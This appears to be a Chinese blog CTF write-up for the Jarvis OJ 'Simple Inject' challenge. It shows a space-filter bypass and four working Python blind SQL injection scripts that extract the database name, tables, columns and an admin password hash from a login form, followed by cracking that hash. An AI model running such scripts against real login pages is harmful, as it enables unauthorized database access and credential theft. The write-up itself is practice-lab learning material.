• Simple Inject


    页面就一个登入框,盲猜sql注入,加上题目为simple inject ,就可以肯定是sql注入了,那么就fuzz一下

    过滤了空格,可以用  /**/ 来绕过过滤,页面只回显了 '密码错误’ 和 '用户名错误',那就用盲注来获取数据库里面的数据

    获取当前数据库的名字 injection

    import requests
    
    url='http://web.jarvisoj.com:32787/login.php'
    result=''
    
    for i in range(1,100):
            low=32
            high=127
            mid=(low+high)//2
            while(high>low):
                    payload="1'/**/or/**/ascii(substr(database(),%d,1))>%d#"%(i,mid)
                    data={'username':payload,'password':1}
                    r=requests.post(url,data=data)
                    if '密码错误' in r.text:
                            low=mid+1
                    else:
                            high=mid
                    mid=(low+high)//2
    
            if(chr(mid)==" "):
                    break
    
            result+=chr(mid)
            print(result)
    
    print('[+]database name: '+result)

    获取表名 admin

    import requests
    
    url='http://web.jarvisoj.com:32787/login.php'
    result=''
    
    for i in range(1,100):
            low=32
            high=127
            mid=(low+high)//2
            while(high>low):
                    payload="1'/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))>%d#"%(i,mid)
                    data={'username':payload,'password':1}
                    r=requests.post(url,data=data)
                    if '密码错误' in r.text:
                            low=mid+1
                    else:
                            high=mid
                    mid=(low+high)//2
    
            if(chr(mid)==" "):
                    break
    
            result+=chr(mid)
            print(result)
    
    print('[+]table name: '+result)

    获取列名 id,username,password

    import requests
    
    url='http://web.jarvisoj.com:32787/login.php'
    result=''
    
    for i in range(1,100):
            low=32
            high=127
            mid=(low+high)//2
            while(high>low):
                    payload="1'/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='admin'),%d,1))>%d#"%(i,mid)
                    data={'username':payload,'password':1}
                    r=requests.post(url,data=data)
                    if '密码错误' in r.text:
                            low=mid+1
                    else:
                            high=mid
                    mid=(low+high)//2
    
            if(chr(mid)==" "):
                    break
    
            result+=chr(mid)
            print(result)
    
    print('[+]column name: '+result)

    最后获取password  334cfb59c9d74849801d5acdcfdaadc3 (当时拿着password去提交flag 一直错 手动滑稽 :)

    import requests
    
    url='http://web.jarvisoj.com:32787/login.php'
    result=''
    
    for i in range(1,100):
            low=32
            high=127
            mid=(low+high)//2
            while(high>low):
                    payload="1'/**/or/**/ascii(substr((select/**/group_concat(password)/**/from/**/admin),%d,1))>%d#"%(i,mid)
                    data={'username':payload,'password':1}
                    r=requests.post(url,data=data)
                    if '密码错误' in r.text:
                            low=mid+1
                    else:
                            high=mid
                    mid=(low+high)//2
    
            if(chr(mid)==" "):
                    break
    
            result+=chr(mid)
            print(result)
    
    print('[+]password: '+result)                       

    将password md5解码获得 eTAloCrEP

    登入用户获得flag

  • 相关阅读:
    js根据年月获取当月最后一天
    skywalking 执行流程 日志放在哪里 MySQL或者ES
    SpringCloud微服务间安全调用实现(SpringSecurity+Oauth2+Jwt)
    内存泄露和内存溢出的区别
    Mybatis的执行流程
    Spring如何解决循环依赖
    Spring事务在哪几种情况下会失效?
    Spring Boot 中application.yml与bootstrap.yml的区别
    Nacos执行流程
    Gateway 如何解决跨域问题
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12362842.html
Copyright © 2020-2023  润新知